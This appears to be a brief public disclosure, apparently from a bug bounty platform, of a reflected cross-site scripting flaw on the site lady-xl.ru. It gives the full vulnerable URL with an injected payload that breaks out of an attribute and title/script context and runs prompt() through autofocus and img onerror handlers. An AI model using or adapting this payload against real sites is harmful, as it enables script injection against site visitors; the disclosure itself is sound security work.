lady-xl.ru XSS vulnerability

Vulnerable URL: https://lady-xl.ru/index.php?advancedsearchincategory=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E=1=1insubcategory=0name=pricefrom=priceto===%E2%9C%95+%C7%E0%EA%F0%FB%F2%FC Details:...